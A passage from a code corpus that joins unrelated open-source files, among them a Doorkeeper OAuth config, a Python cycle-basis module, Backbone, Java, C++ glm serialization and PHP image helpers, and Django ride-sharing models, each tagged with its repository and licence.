} | Vadim-AO/Warframe-Drop-Rates-Data | WarframeDropRatesDataParser/DataFormatBuilder/Director.cs | C# | mit | 2,732 |
Doorkeeper.configure do
# Change the ORM that doorkeeper will use.
# Currently supported options are :active_record, :mongoid2, :mongoid3, :mongo_mapper
orm :active_record
# This block will be called to check whether the resource owner is authenticated or not.
#resource_owner_authenticator do
# Put your resource owner authentication logic here.
# Example implementation:
#debugger
#User.first || redirect_to(new_user_session_path)
#User.find_by_id(session[:user_id]) || redirect_to(new_user_session_path)
#end
resource_owner_from_credentials do |routes|
user = User.find_by_email(params[:username])
user if user && user.valid_password?(params[:password])
end
# If you want to restrict access to the web interface for adding oauth authorized applications, you need to declare the block below.
# admin_authenticator do
# # Put your admin authentication logic here.
# # Example implementation:
# Admin.find_by_id(session[:admin_id]) || redirect_to(new_admin_session_url)
# end
# Authorization Code expiration time (default 10 minutes).
# authorization_code_expires_in 10.minutes
# Access token expiration time (default 2 hours).
# If you want to disable expiration, set this to nil.
# access_token_expires_in 2.hours
# Reuse access token for the same resource owner within an application (disabled by default)
# Rationale: https://github.com/doorkeeper-gem/doorkeeper/issues/383
# reuse_access_token
# Issue access tokens with refresh token (disabled by default)
# use_refresh_token
# Provide support for an owner to be assigned to each registered application (disabled by default)
# Optional parameter :confirmation => true (default false) if you want to enforce ownership of
# a registered application
# Note: you must also run the rails g doorkeeper:application_owner generator to provide the necessary support
# enable_application_owner :confirmation => false
# Define access token scopes for your provider
# For more information go to
# https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes
# default_scopes :public
# optional_scopes :write, :update
# Change the way client credentials are retrieved from the request object.
# By default it retrieves first from the `HTTP_AUTHORIZATION` header, then
# falls back to the `:client_id` and `:client_secret` params from the `params` object.
# Check out the wiki for more information on customization
# client_credentials :from_basic, :from_params
# Change the way access token is authenticated from the request object.
# By default it retrieves first from the `HTTP_AUTHORIZATION` header, then
# falls back to the `:access_token` or `:bearer_token` params from the `params` object.
# Check out the wiki for more information on customization
# access_token_methods :from_bearer_authorization, :from_access_token_param, :from_bearer_param
# Change the native redirect uri for client apps
# When clients register with the following redirect uri, they won't be redirected to any server and the authorization code will be displayed within the provider
# The value can be any string. Use nil to disable this feature. When disabled, clients must provide a valid URL
# (Similar behaviour: https://developers.google.com/accounts/docs/OAuth2InstalledApp#choosingredirecturi)
#
# native_redirect_uri 'urn:ietf:wg:oauth:2.0:oob'
# Specify what grant flows are enabled in array of Strings. The valid
# strings and the flows they enable are:
#
# "authorization_code" => Authorization Code Grant Flow
# "implicit" => Implicit Grant Flow
# "password" => Resource Owner Password Credentials Grant Flow
# "client_credentials" => Client Credentials Grant Flow
#
# If not specified, Doorkeeper enables all the four grant flows.
#
# grant_flows %w(authorization_code implicit password client_credentials)
# Under some circumstances you might want to have applications auto-approved,
# so that the user skips the authorization step.
# For example if dealing with trusted a application.
# skip_authorization do |resource_owner, client|
# client.superapp? or resource_owner.admin?
# end
# WWW-Authenticate Realm (default "Doorkeeper").
# realm "Doorkeeper"
# Allow dynamic query parameters (disabled by default)
# Some applications require dynamic query parameters on their request_uri
# set to true if you want this to be allowed
# wildcard_redirect_uri false
end
| kyledemeule/debrief | api/config/initializers/doorkeeper.rb | Ruby | mit | 4,519 |
#!/usr/bin/env python
"""
cycle_basis.py
functions for calculating the cycle basis of a graph
"""
from numpy import *
import networkx as nx
import matplotlib
import matplotlib.pyplot as plt
from matplotlib import cm
from matplotlib.path import Path
if matplotlib.__version__ >= '1.3.0':
from matplotlib.path import Path
else:
from matplotlib import nxutils
from itertools import chain
from itertools import ifilterfalse
from itertools import izip
from itertools import tee
from collections import defaultdict
import time
from helpers import *
class Cycle():
""" Represents a set of nodes that make up a cycle in some
graph. Is hashable and does not care about orientation or things
like that, two cycles are equal if they share the same nodes.
A cycle can be compared to a set or frozenset of nodes.
path is a list of vertices describing a closed path in the cycle.
if it is absent, a closed path will be calculated together with
coordinates.
coords is an array of x-y pairs representing the coordinates of
the cycle path elements.
"""
def __init__(self, graph, edges, coords=None):
""" Initializes the Cycle with an edge list representing the
cycle.
All edges should be ordered such that a cycle is represented
as
(1,2)(2,3)(3,4)...(n-2,n-1)(n-1,1)
Parameters:
graph: The underlying graph object
edges: The edge list making up the cycle.
is_ordered: If set to false, will use the neighborhood
information from graph to construct ordered edge set
from unordered one.
In case the unordered edge set is not a connected graph,
e.g. when removing one cycle splits the surrounding
one in half, the smaller connected component in terms
of total length is thrown away. Since our cycles are
typically convex, this means we use the outermost
component.
"""
self.graph = graph
edges, self.total_area = self.ordered_edges(edges)
self.path = zip(*edges)[0]
if coords is None:
self.coords = array([[graph.node[n]['x'], graph.node[n]['y']]
for n in self.path])
else:
self.coords = coords
self.edges = edges
# This allows comparisons
self.edgeset = set([tuple(sorted(e)) for e in edges])
self.com = mean(self.coords, axis=0)
# This frozenset is used to compare/hash cycles.
self._nodeset = frozenset(self.path)
def ordered_edges(self, edges):
""" Uses the graph associated to this cycle to order
the unordered edge set.
Also return the area of the cycle. This is defined as
max(Areas of individual connected components) -
(Areas of other connected components)
This assumes that the cycle is one large cycle containing
one or more smaller cycles.
"""
# construct subgraph consisting of only the specified edges
edge_graph = nx.Graph(edges)
con = sorted_connected_components(edge_graph)
# Calculate sorted edge list for each connected component
# of the cycle
component_sorted_edges = []
areas = []
G = self.graph
for comp in con:
# get ordered list of edges
component_edges = comp.edges()
n_edges = len(component_edges)
sorted_edges = []
start = component_edges[0][0]
cur = start
prev = None
for i in xrange(n_edges):
nextn = [n for n in comp.neighbors(cur)
if n != prev][0]
sorted_edges.append((cur, nextn))
prev = cur
cur = nextn
# coordinates of path
coords = array([(G.node[u]['x'], G.node[u]['y'])
for u, v in sorted_edges] \
+ [(G.node[sorted_edges[0][0]]['x'],
G.node[sorted_edges[0][0]]['y'])])
areas.append(polygon_area(coords))
component_sorted_edges.append(sorted_edges)
if len(areas) > 1:
areas = sorted(areas, reverse=True)
total_area = areas[0] - sum(areas[1:])
else:
total_area = areas[0]
return list(chain.from_iterable(
sorted(component_sorted_edges, key=len, reverse=True))), \
total_area
def intersection(self, other):
""" Returns an edge set representing the intersection of
the two cycles.
"""
inters = self.edgeset.intersection(other.edgeset)
return inters
def union(self, other, data=True):
""" Returns the edge set corresponding to the union of two cycles.
Will overwrite edge/vertex attributes from other to this,
so only use if both cycle graphs are the same graph!
"""
union = self.edgeset.union(other.edgeset)
return union
def symmetric_difference(self, other, intersection=None):
""" Returns a Cycle corresponding to the symmetric difference of
the Cycle and other. This is defined as the set of edges which
is present in either cycle but not in both.
If the intersection has been pre-calculated it can be used.
This will fail on non-adjacent loops.
"""
new_edgeset = list(self.edgeset.symmetric_difference(
other.edgeset))
return Cycle(self.graph, new_edgeset)
def area(self):
""" Returns the area enclosed by the polygon defined by the
Cycle. If the cycle contains more than one connected component,
this is defined as the area of the largest area connected
component minus the areas of the other connected components.
"""
return self.total_area
def radii(self):
""" Return the radii of all edges in this cycle.
"""
return array([self.graph[u][v]['conductivity']
for u, v in self.edgeset])
def __hash__(self):
""" Implements hashing by using the internal set description's hash
"""
return self._nodeset.__hash__()
def __eq__(self, other):
""" Implements comparison using the internal set description
"""
if isinstance(other, Cycle):
return self._nodeset.__eq__(other._nodeset)
elif isinstance(other, frozenset) or isinstance(other, set):
return self._nodeset.__eq__(other)
else:
return -1
def __repr__(self):
return repr(self._nodeset)
def polygon_area(coords):
""" Return the area of a closed polygon
"""
Xs = coords[:,0]
Ys = coords[:,1]
# Ignore orientation
return 0.5*abs(sum(Xs[:-1]*Ys[1:] - Xs[1:]*Ys[:-1]))
def traverse_graph(G, start, nextn):
""" Traverses the pruned (i.e. ONLY LOOPS) graph G counter-clockwise
in the direction of nextn until start is hit again.
If G has treelike components this will fail and get stuck, there
is no backtracking.
Returns a list of nodes visited, a list of edges visited and
an array of node coordinates.
This will find (a) all internal
smallest loops (faces of the planar graph) and (b) one maximal
outer loop
"""
start_coords = array([G.node[start]['x'], G.node[start]['y']])
nodes_visited = [start]
nodes_visited_set = set()
edges_visited = []
coords = [start_coords]
prev = start
cur = nextn
while cur != start:
cur_coords = array([G.node[cur]['x'], G.node[cur]['y']])
# We ignore all neighbors we alreay visited to avoid multiple loops
neighs = [n for n in G.neighbors(cur) if n != prev and n != cur]
edges_visited.append((prev, cur))
nodes_visited.append(cur)
coords.append(cur_coords)
n_neighs = len(neighs)
if n_neighs > 1:
# Choose path that keeps the loop closest on the left hand side
prev_coords = array([G.node[prev]['x'], G.node[prev]['y']])
neigh_coords = array([[G.node[n]['x'], G.node[n]['y']] \
for n in neighs])
## Construct vectors and normalize
u = cur_coords - prev_coords
vs = neigh_coords - cur_coords
# calculate cos and sin between direction vector and neighbors
u /= sqrt((u*u).sum(-1))
vs /= sqrt((vs*vs).sum(-1))[...,newaxis]
coss = dot(u, vs.T)
sins = cross(u, vs)
# this is a function between -2 and +2, where the
# leftmost path corresponds to -2, rightmost to +2
# sgn(alpha)(cos(alpha) - 1)
ranked = sign(sins)*(coss - 1.)
prev = cur
cur = neighs[argmin(ranked)]
else:
# No choice to make
prev = cur
cur = neighs[0]
# Remove pathological protruding loops
if prev in nodes_visited_set:
n_ind = nodes_visited.index(prev)
del nodes_visited[n_ind+1:]
del coords[n_ind+1:]
del edges_visited[n_ind:]
nodes_visited_set.add(prev)
edges_visited.append((nodes_visited[-1], nodes_visited[0]))
return nodes_visited, edges_visited, array(coords)
def cycle_mtp_path(cycle):
""" Returns a matplotlib Path object describing the cycle.
"""
# Set up polygon
verts = zeros((cycle.coords.shape[0] + 1, cycle.coords.shape[1]))
verts[:-1,:] = cycle.coords
verts[-1,:] = cycle.coords[0,:]
codes = Path.LINETO*ones(verts.shape[0])
codes[0] = Path.MOVETO
codes[-1] = Path.CLOSEPOLY
return Path(verts, codes)
def outer_loop(G, cycles):
""" Detects the boundary loop in the set of fundamental cycles
by noting that the boundary is precisely the one loop with
maximum area (since it contains all other loops, they all must
have smaller area)
"""
return max([(c.area(), c) for c in cycles])[1]
def shortest_cycles(G):
""" Returns a list of lists of Cycle objects belonging to the
fundamental cycles of the pruned (i.e. there are no treelike
components) graph G by traversing the graph counter-clockwise
for each node until the starting node has been found.
Also returns the outer loop.
"""
cycleset = set()
# Betti number counts interior loops, this algorithm finds
# exterior loop as well!
n_cycles = G.number_of_edges() - G.number_of_nodes() + 1
# Count outer loop as well
if n_cycles >= 2:
n_cycles += 1
print "Number of cycles including boundary: {}.".format(n_cycles)
t0 = time.time()
mst = nx.minimum_spanning_tree(G, weight=None)
for u, v in G.edges_iter():
if not mst.has_edge(u, v):
# traverse cycle in both directions
path, edges, coords = traverse_graph(G, u, v)
cycleset.add(Cycle(G, edges, coords=coords))
path, edges, coords = traverse_graph(G, v, u)
cycleset.add(Cycle(G, edges, coords=coords))
if len(cycleset) != n_cycles:
print "WARNING: Found only", len(cycleset), "cycles!!"
t1 = time.time()
print "Detected fundamental cycles in {}s".format(t1 - t0)
#print "Number of detected facets:", len(cycleset)
return list(cycleset)
def find_neighbor_cycles(G, cycles):
""" Returns a set of tuples of cycle indices describing
which cycles share edges
"""
n_c = len(cycles)
# Construct edge dictionary
edges = defaultdict(list)
for i in xrange(n_c):
for e in cycles[i].edges:
edges[tuple(sorted(e))].append(i)
# Find all neighboring cycles
neighbor_cycles = set()
for n in edges.values():
neighbor_cycles.add(tuple(sorted(n)))
return neighbor_cycles
| hronellenfitsch/nesting | cycle_basis.py | Python | mit | 11,955 |
/*global YoBackbone, Backbone*/
YoBackbone.Collections = YoBackbone.Collections || {};
(function () {
'use strict';
var Todos = Backbone.Collection.extend({
model: YoBackbone.Models.Todo,
localStorage: new Backbone.LocalStorage('todos-backbone'),
// Filter down the list of all todo items that are finished.
completed: function() {
return this.filter(function( todo ) {
return todo.get('completed');
});
},
// Filter down the list to only todo items that are still not finished.
remaining: function() {
// apply allowsus to define the context of this within our function scope
return this.without.apply( this, this.completed() );
},
// We keep the Todos in sequential order, despite being saved by unordered
// GUID in the database. This generates the next order number for new items.
nextOrder: function() {
if ( !this.length ) {
return 1;
}
return this.last().get('order') + 1;
},
// Todos are sorted by their original insertion order.
comparator: function( todo ) {
return todo.get('order');
}
});
YoBackbone.Application.todos = new Todos();
})();
| davidcunha/yo-backbone | app/scripts/collections/todos.js | JavaScript | mit | 1,325 |
module StudioGame
module TreasureTrove
Treasure = Struct.new(:name, :points)
TREASURES = [
Treasure.new(:pie, 5),
Treasure.new(:bottle, 25),
Treasure.new(:hammer, 50),
Treasure.new(:skillet, 100),
Treasure.new(:broomstick, 200),
Treasure.new(:crowbar, 400)
]
def self.random_treasure
TREASURES.sample
end
end
end | paulghaddad/ruby_studio_game | lib/studio_game/treasure_trove.rb | Ruby | mit | 383 |
Nectar.createStruct("test", "a:string", "b:int", "c:double");
function Test()
{
var testStruct = Nectar.initStruct("test");
testStruct.NStruct("test").a = "Hello Struct!";
console.log(testStruct.NStruct("test").a);
return testStruct
}
var retStruct = Test();
retStruct.NStruct("test").a = "After return";
console.log(retStruct.NStruct("test").a);
// access to non struct member fall back on hashmap
retStruct.NStruct("test").x = "Fallback";
console.log(retStruct.NStruct("test").x); | seraum/nectarjs | example/struct.js | JavaScript | mit | 489 |
package com.xinyuan.pub.business.bi.dao;
import com.xinyuan.pub.model.business.bi.po.BiLiLandPlan;
import java.util.List;
/**
* @author liangyongjian
* @desc 新增土地数据表 Dao层接口
* @create 2018-06-22 23:47
**/
public interface BiLiLandPlanDao {
/**
* 获取全部的新增土地数据
* @return
*/
List<BiLiLandPlan> getAllBiLiLandPlanInfo();
}
| mrajian/xinyuan | xinyuan-parent/xinyuan-pub-parent/xinyuan-pub-dao/src/main/java/com/xinyuan/pub/business/bi/dao/BiLiLandPlanDao.java | Java | mit | 391 |
package ru.lanbilling.webservice.wsdl;
import javax.annotation.Generated;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for anonymous complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="isInsert" type="{http://www.w3.org/2001/XMLSchema}long"/>
* <element name="val" type="{urn:api3}soapInstallmentsPlan"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
"isInsert",
"val"
})
@XmlRootElement(name = "insupdInstallmentsPlan")
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
public class InsupdInstallmentsPlan {
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
protected long isInsert;
@XmlElement(required = true)
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
protected SoapInstallmentsPlan val;
/**
* Gets the value of the isInsert property.
*
*/
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
public long getIsInsert() {
return isInsert;
}
/**
* Sets the value of the isInsert property.
*
*/
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
public void setIsInsert(long value) {
this.isInsert = value;
}
/**
* Gets the value of the val property.
*
* @return
* possible object is
* {@link SoapInstallmentsPlan }
*
*/
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
public SoapInstallmentsPlan getVal() {
return val;
}
/**
* Sets the value of the val property.
*
* @param value
* allowed object is
* {@link SoapInstallmentsPlan }
*
*/
@Generated(value = "com.sun.tools.xjc.Driver", date = "2015-10-25T05:29:34+06:00", comments = "JAXB RI v2.2.11")
public void setVal(SoapInstallmentsPlan value) {
this.val = value;
}
}
| kanonirov/lanb-client | src/main/java/ru/lanbilling/webservice/wsdl/InsupdInstallmentsPlan.java | Java | mit | 2,811 |
package practicomayor;
import vista.PracticoMayorVista;
public class PracticoMayor {
public static void main(String[] args) {
PracticoMayorVista miVentana = new PracticoMayorVista();
miVentana.setVisible(true);
}
}
| matiasmasca/111mil | PracticoMayor/src/practicomayor/PracticoMayor.java | Java | mit | 272 |
<?php
class Imageui {
public function Init(){
Event::Bind('CacheDelete','Imageui::EventCacheDelete');
}
public function Rules(){
return array('Настройка ImageUI');
}
public function Menu(){
return array(
'admin/imageui'=>array(
'title'=>'Группы обработки изображений',
'rules'=>array('Настройка ImageUI'),
'callback'=>'ImageUIPages::Settings',
'file'=>'ImageUIPages',
'group'=>'Оформление'
),
'admin/imageui/edit'=>array(
'rules'=>array('Настройка ImageUI'),
'callback'=>'ImageUIPages::EditPreset',
'file'=>'ImageUIPages',
'type'=>'callback',
),
/*'image'=>array(
'rules'=>array('Обычный доступ'),
'type'=>'callback',
'file'=>'ImageUIProcess',
'callback'=>'ImageUIProcess::Get'
),*/
STATIC_DIR .'/imageui'=>array(
'callback'=>'ImageUIProcess::RewriteStatic',
'file'=>'ImageUIProcess',
'type'=>'callback',
)
);
}
public static function Load($id){
global $pdo;
$preset = $pdo->QR("SELECT * FROM imageui WHERE id = ?",array($id));
if(!$preset)
return;
$preset->code = $pdo->unserialize($preset->code);
return $preset;
}
public static function PresetList($for_select = false){
global $pdo;
$q = $pdo->q("SELECT * FROM imageui");
$list = array();
while($preset = $pdo->fo($q)){
$list[$preset->id] = $for_select?$preset->title:$preset;
}
return $list;
}
public static function GetUrl($preset_id,$file){
return Path::Url(STATIC_DIR . DS . 'imageui/'.$preset_id.'/'.$file);
}
public static function prepareFile($filename){
return str_replace('/','-',$filename);
}
public static function GetImage($preset_id,$file,$alt = 'image'){
$url = ImageUI::GetUrl($preset_id,$file);
$url2 = Path::UrlAbs($url);
return '<img src="'.$url.'" alt="'.$alt.'" '.Image::HtmlSize($url2) .' />';
}
public static function EventCacheDelete(){
$path = STATIC_DIR . DS . 'imageui';
$glob = glob($path . DS . '/*');
if(!is_array($glob))
return;
foreach($glob as $el){
File::RmDir($el);
}
}
} | Doka-NT/SkobkaCMS | custom/imageui/module.class.php | PHP | mit | 2,721 |
package com.iotticket.api.v1.model;
import com.google.gson.annotations.SerializedName;
import com.iotticket.api.v1.model.Datanode.DatanodeRead;
import java.net.URI;
import java.util.ArrayList;
import java.util.Collection;
public class ProcessValues {
@SerializedName("href")
private URI Uri;
@SerializedName("datanodeReads")
private Collection<DatanodeRead> datanodeReads = new ArrayList<DatanodeRead>();
public URI getUri() {
return Uri;
}
public void setUri(URI uri) {
Uri = uri;
}
public Collection<DatanodeRead> getDatanodeReads() {
return datanodeReads;
}
}
| IoT-Ticket/IoT-JavaClient | src/main/java/com/iotticket/api/v1/model/ProcessValues.java | Java | mit | 639 |
/** SF2 annotations for glm types ********************************************
* *
* Copyright (c) 2015 Florian Oetke *
* This file is distributed under the MIT License *
* See LICENSE file for details. *
\*****************************************************************************/
#pragma once
#include <glm/glm.hpp>
#include <glm/gtx/quaternion.hpp>
#include <sf2/sf2.hpp>
namespace glm {
inline void load(sf2::JsonDeserializer& s, vec2& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("w", v.x),
sf2::vmember("h", v.y));
}
inline void save(sf2::JsonSerializer& s, const vec2& v)
{
s.write_virtual(sf2::vmember("x", v.x), sf2::vmember("y", v.y));
}
inline void load(sf2::JsonDeserializer& s, vec3& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("r", v.x),
sf2::vmember("g", v.y),
sf2::vmember("b", v.z));
}
inline void save(sf2::JsonSerializer& s, const vec3& v)
{
s.write_virtual(sf2::vmember("x", v.x), sf2::vmember("y", v.y), sf2::vmember("z", v.z));
}
inline void load(sf2::JsonDeserializer& s, vec4& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("w", v.w),
sf2::vmember("r", v.x),
sf2::vmember("g", v.y),
sf2::vmember("b", v.z),
sf2::vmember("a", v.a));
}
inline void save(sf2::JsonSerializer& s, const vec4& v)
{
s.write_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("w", v.w));
}
inline void load(sf2::JsonDeserializer& s, ivec2& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("w", v.x),
sf2::vmember("h", v.y));
}
inline void save(sf2::JsonSerializer& s, const ivec2& v)
{
s.write_virtual(sf2::vmember("x", v.x), sf2::vmember("y", v.y));
}
inline void load(sf2::JsonDeserializer& s, ivec3& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("r", v.x),
sf2::vmember("g", v.y),
sf2::vmember("b", v.z));
}
inline void save(sf2::JsonSerializer& s, const ivec3& v)
{
s.write_virtual(sf2::vmember("x", v.x), sf2::vmember("y", v.y), sf2::vmember("z", v.z));
}
inline void load(sf2::JsonDeserializer& s, ivec4& v)
{
s.read_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("w", v.w),
sf2::vmember("r", v.x),
sf2::vmember("g", v.y),
sf2::vmember("b", v.z),
sf2::vmember("a", v.a));
}
inline void save(sf2::JsonSerializer& s, const ivec4& v)
{
s.write_virtual(sf2::vmember("x", v.x),
sf2::vmember("y", v.y),
sf2::vmember("z", v.z),
sf2::vmember("w", v.w));
}
inline void load(sf2::JsonDeserializer& s, quat& v)
{
auto r = 0.f;
auto p = 0.f;
auto y = 0.f;
s.read_virtual(sf2::vmember("roll", r), sf2::vmember("pitch", p), sf2::vmember("yaw", y));
v = quat(glm::vec3(r, p, y));
}
inline void save(sf2::JsonSerializer& s, const quat& v)
{
auto r = roll(v);
auto p = pitch(v);
auto y = yaw(v);
s.write_virtual(sf2::vmember("roll", r), sf2::vmember("pitch", p), sf2::vmember("yaw", y));
}
} // namespace glm
| lowkey42/mirrage | src/mirrage/utils/include/mirrage/utils/sf2_glm.hpp | C++ | mit | 3,943 |
<?php
/*
* This file is part of PHPExifTool.
*
* (c) 2012 Romain Neutron <imprec@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace PHPExiftool\Driver\Tag\MXF;
use JMS\Serializer\Annotation\ExclusionPolicy;
use PHPExiftool\Driver\AbstractTag;
/**
* @ExclusionPolicy("all")
*/
class AlphaMinimumRef extends AbstractTag
{
protected $Id = '060e2b34.0101.0105.04010503.0e000000';
protected $Name = 'AlphaMinimumRef';
protected $FullName = 'MXF::Main';
protected $GroupName = 'MXF';
protected $g0 = 'MXF';
protected $g1 = 'MXF';
protected $g2 = 'Video';
protected $Type = 'int32u';
protected $Writable = false;
protected $Description = 'Alpha Minimum Ref';
}
| romainneutron/PHPExiftool | lib/PHPExiftool/Driver/Tag/MXF/AlphaMinimumRef.php | PHP | mit | 817 |
from __future__ import unicode_literals
import re
from django.contrib.auth.models import (AbstractBaseUser, PermissionsMixin,
UserManager)
from django.core import validators
from django.core.mail import send_mail
from django.utils.translation import ugettext_lazy as _
from notifications.models import *
from broadcast.models import Broadcast
class CustomUser(AbstractBaseUser, PermissionsMixin):
"""
A custom user class that basically mirrors Django's `AbstractUser` class
and doesn'0t force `first_name` or `last_name` with sensibilities for
international names.
http://www.w3.org/International/questions/qa-personal-names
"""
username = models.CharField(_('username'), max_length=30, unique=True,
help_text=_('Required. 30 characters or fewer. Letters, numbers and '
'@/./+/-/_ characters'),
validators=[
validators.RegexValidator(re.compile(
'^[\w.@+-]+$'), _('Enter a valid username.'), 'invalid')
])
full_name = models.CharField(_('full name'), max_length=254, blank=False)
short_name = models.CharField(_('short name'), max_length=30, blank=True)
choices = (('Male', 'Male'), ('Female', 'Female'))
sex = models.CharField(_('sex'), max_length=30, blank=False, choices=choices)
email = models.EmailField(_('email address'), max_length=254, unique=True)
phone_number = models.CharField(_('phone number'), max_length=20, validators=[
validators.RegexValidator(re.compile(
'^[0-9]+$'), _('Only numbers are allowed.'), 'invalid')
])
user_choices = (('Driver', 'Driver'), ('Passenger', 'Passenger'))
user_type = models.CharField(_('user type'), max_length=30, blank=False, choices=user_choices)
address = models.TextField(_('location'), max_length=400, blank=False)
is_staff = models.BooleanField(_('staff status'), default=False,
help_text=_('Designates whether the user can log into this admin '
'site.'))
is_verified = models.BooleanField(_('user verified'), default=False,
help_text=_('Designates whether the user is a vershified user'))
is_active = models.BooleanField(_('active'), default=True,
help_text=_('Designates whether this user should be treated as '
'active. Unselect this instead of deleting accounts.'))
date_joined = models.DateTimeField(_('date joined'), default=timezone.now)
objects = UserManager()
USERNAME_FIELD = 'username'
REQUIRED_FIELDS = ['email']
class Meta:
verbose_name = _('user')
verbose_name_plural = _('users')
def __unicode__(self):
return self.username
def get_absolute_url(self):
return "/profile/%s" % self.username
def get_full_name(self):
"""
Returns the first_name plus the last_name, with a space in between.
"""
full_name = self.full_name
return full_name.strip()
def get_short_name(self):
"Returns the short name for the user."
return self.short_name.strip()
def get_sex(self):
return self.sex
def email_user(self, subject, message, from_email=None):
"""
Sends an email to this User.
"""
send_mail(subject, message, from_email, [self.email])
def get_no_messages(self):
number = Message.objects.filter(recipient=self, read=False)
if number.count() > 0:
return number.count()
else:
return None
def get_messages(self):
msg = Message.objects.filter(recipient=self, read=False).order_by('date').reverse()
return msg
def get_messages_all(self):
msg = Message.objects.filter(recipient=self).order_by('date').reverse()
return msg
def get_notifications(self):
return self.notifications.unread()
def get_no_notifs(self):
return self.notifications.unread().count()
def is_follows(self, user_1):
foll = Follow.objects.filter(follower=self, followee=user_1)
if foll.exists():
return True
else:
return False
def get_no_followers(self):
num = Follow.objects.filter(followee=self).count()
return num
def get_no_following(self):
num = Follow.objects.filter(follower=self).count()
return num
def get_following(self):
num = Follow.objects.filter(follower=self).values_list('followee')
result = []
for follower in num:
user = CustomUser.objects.get(pk=follower[0])
result.append(user)
return result
def get_profile(self):
profile = Profile.objects.get(user=self)
return profile
def no_of_rides_shared(self):
return self.vehiclesharing_set.filter(user=self, ended=True).count()
def no_of_request_completed(self):
return self.request_set.filter(status='approved', user=self).count()
def get_no_broadcast(self):
return Broadcast.objects.filter(user=self).count()
def get_broadcast(self):
all_broad = Broadcast.objects.filter(user=self)[0:10]
return all_broad
class Vehicle(models.Model):
year = models.IntegerField(_('year of purchase'), blank=False)
make = models.CharField(_('vehicle make'), max_length=254, blank=False)
plate = models.CharField(_('liscenced plate number'), max_length=10, blank=False)
model = models.CharField(_('vehicle model'), max_length=254, blank=False)
seats = models.IntegerField(_('no of seats'), blank=False)
user_choices = (('private', 'private'), ('hired', 'hired'))
type = models.CharField(_('vehicle type'), max_length=30, blank=False, choices=user_choices)
user_choices = (('Car', 'Car'), ('Bus', 'Bus'), ('Coaster', 'Coaster'), ('Truck', 'Truck'))
category = models.CharField(_('vehicle category'), max_length=30, blank=False, choices=user_choices)
user = models.ForeignKey(CustomUser, on_delete=models.CASCADE)
def get_absolute_url(self):
return "/app/ride/%d/view" % self.pk
def __str__(self):
return self.make + " " + self.model + " belonging to " + self.user.username
class VehicleSharing(models.Model):
start = models.CharField(_('starting point'), max_length=256, blank=False, )
dest = models.CharField(_('destination'), max_length=256, blank=False)
cost = models.IntegerField(_('cost'), blank=False)
date = models.DateField(_('date'), default=timezone.now)
start_time = models.TimeField(_('start time'), max_length=256, blank=False)
arrival_time = models.TimeField(_('estimated arrivak'), max_length=256, blank=False)
no_pass = models.IntegerField(_('no of passengers'), blank=False)
details = models.TextField(_('ride details'), blank=False)
choices = (('Male', 'Male'), ('Female', 'Female'), ('Both', 'Both'))
sex = models.CharField(_('gender preference'), max_length=30, blank=False, choices=choices)
user = models.ForeignKey(CustomUser, on_delete=models.CASCADE)
vehicle = models.ForeignKey(Vehicle, on_delete=models.CASCADE)
ended = models.BooleanField(_('sharing ended'), default=False)
def __str__(self):
return self.start + " to " + self.dest
def get_user(self):
return self.user
def get_absolute_url(self):
return "/app/sharing/%d/view" % self.pk
class Request(models.Model):
pick = models.CharField(_('pick up point'), max_length=256, blank=False, )
dest = models.CharField(_('destination'), max_length=256, blank=False)
reg_date = models.DateTimeField(_('registration date'), default=timezone.now)
user = models.ForeignKey(CustomUser, on_delete=models.CASCADE)
bearable = models.IntegerField(_('bearable cost'), blank=False)
status = models.CharField(_('status'), max_length=256, blank=False, default='pending')
ride = models.ForeignKey(VehicleSharing, on_delete=models.CASCADE)
def __str__(self):
return "request from " + self.user.get_full_name() + " on " + self.reg_date.isoformat(' ')[0:16]
def get_absolute_url(self):
return "/app/request/%d/view" % self.pk
class Message(models.Model):
sender = models.ForeignKey(CustomUser, related_name='sender', on_delete=models.CASCADE)
recipient = models.ForeignKey(CustomUser, related_name='recipient', on_delete=models.CASCADE)
subject = models.CharField(default='(No Subject)', max_length=256)
message = models.TextField(blank=False)
date = models.DateTimeField(_('time sent'), default=timezone.now)
read = models.BooleanField(_('read'), default=False)
deleted = models.BooleanField(_('deleted'), default=False)
def __str__(self):
return self.sender.username + ' to ' + self.recipient.username + ' - ' + self.message[0:20] + '...'
def url(self):
return '/app/user/dashboard/messages/%d/read/' % self.pk
def send(self, user, recipient, subject, message):
message = Message()
message.sender = user
message.recipient = recipient
message.subject = subject
message.message = message
message.save()
class Follow(models.Model):
